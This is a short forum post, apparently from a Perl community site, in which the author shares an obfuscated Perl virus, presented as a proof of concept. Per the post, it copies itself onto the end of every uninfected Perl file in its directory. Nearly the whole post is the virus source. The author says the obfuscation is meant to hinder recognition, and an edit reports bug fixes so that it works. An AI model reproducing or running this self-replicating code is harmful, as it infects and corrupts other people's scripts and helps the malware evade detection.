A very simple perl virus that I wanted to share. Copies itself to the end of every perl file in its directory that is not already infected; does nothing else. The code is obfuscated to make it harder to recognize (althought, it's not very hard for anyone who knows perl well). 
#auiqi
@a=#;
qw{do file reach open print self close while ; auiqi};$a=#;
$a.'s/'.$_.'/'.$a[$_].'/g;'for($a+1..9);$_=#;
q{@a = <*>8 1s:fo2(@a){if(m^.pl^){$a=$_83(1,$a)8 7(<1>){next 1s if m`9
+`8} 6 18 3(1,'>>'.$a )8 3(5,$0)8  7(<5>){last if /9/;} 4 1 "#9\n"; 4 
+1 7<5>8  }}};
eval $a;eval;

[download]
EDIT: Fixed the bugs that kyle pointed out.

In reply to Simple perl virus PoC by cyb3rdemon

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